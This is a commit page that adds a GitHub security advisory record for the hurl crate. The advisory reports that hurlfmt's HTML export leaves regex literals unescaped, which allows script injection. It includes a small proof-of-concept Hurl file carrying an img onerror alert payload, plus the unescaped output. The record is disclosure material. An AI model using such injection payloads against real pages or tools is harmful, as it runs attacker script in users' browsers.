Skip to content

Commit f2b56c3

Browse files
1 parent 9b4fa90 commit f2b56c3

File tree

1 file changed

+59
-0
lines changed

1 file changed

+59
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v33j-v3x4-42qg",
4+
"modified": "2025-06-11T14:46:37Z",
5+
"published": "2025-06-11T14:46:37Z",
6+
"aliases": [],
7+
"summary": "Regex literal in Hurl files are not escaped when exported to HTML, allowing injections",
8+
"details": "Given this Hurl file:\n\nregex.hurl:\n\n```\nGET https://foo.com\nHTTP 200\n[Asserts]\njsonpath \"$.body\" matches /<img src=\"\" onerror=\"alert('Hi!')\">/\n```\n\nWhen exported to HTML:\n\n```\n$ hurlfmt --out html regex.hurl\n<pre><code class=\"language-hurl\"><span class=\"hurl-entry\"><span class=\"request\"><span class=\"line\"><span class=\"method\">GET</span> <span class=\"url\">https://foo.com</span></span>\n</span><span class=\"response\"><span class=\"line\"><span class=\"version\">HTTP</span> <span class=\"number\">200</span></span>\n<span class=\"line\"><span class=\"section-header\">[Asserts]</span></span>\n<span class=\"line\"><span class=\"query-type\">jsonpath</span> <span class=\"string\">\"$.body\"</span> <span class=\"predicate-type\">matches</span> <span class=\"regex\">/<img src=\"\" onerror=\"alert('Hi!')\">/</span></span>\n</span></span><span class=\"line\"></span>\n</code></pre>\n```\n\nThe regex literal `/<img src=\"\" onerror=\"alert('Hi!')\">/` is not escaped:\n\n`<span class=\"regex\">/<img src=\"\" onerror=\"alert('Hi!')\">/</span></span>`\n\nWhen opened in a browser, the code is run without user interaction:\n\n![regex](https://github.com/user-attachments/assets/9c20a2ff-900f-4420-b38b-1e7648749119)",
9+
"severity": [],
10+
"affected": [
11+
{
12+
"package": {
13+
"ecosystem": "crates.io",
14+
"name": "hurl"
15+
},
16+
"ranges": [
17+
{
18+
"type": "ECOSYSTEM",
19+
"events": [
20+
{
21+
"introduced": "0"
22+
},
23+
{
24+
"fixed": "7.0.0"
25+
}
26+
]
27+
}
28+
],
29+
"database_specific": {
30+
"last_known_affected_version_range": "<= 6.1.1"
31+
}
32+
}
33+
],
34+
"references": [
35+
{
36+
"type": "WEB",
37+
"url": "https://github.com/Orange-OpenSource/hurl/security/advisories/GHSA-v33j-v3x4-42qg"
38+
},
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/Orange-OpenSource/hurl/commit/248ac41cfa1797c52241c6ef756490d90027cdf2"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/Orange-OpenSource/hurl/commit/7dcdbd1796785392b1e829d1f07c6687b9a8f27d"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/Orange-OpenSource/hurl"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2025-06-11T14:46:37Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)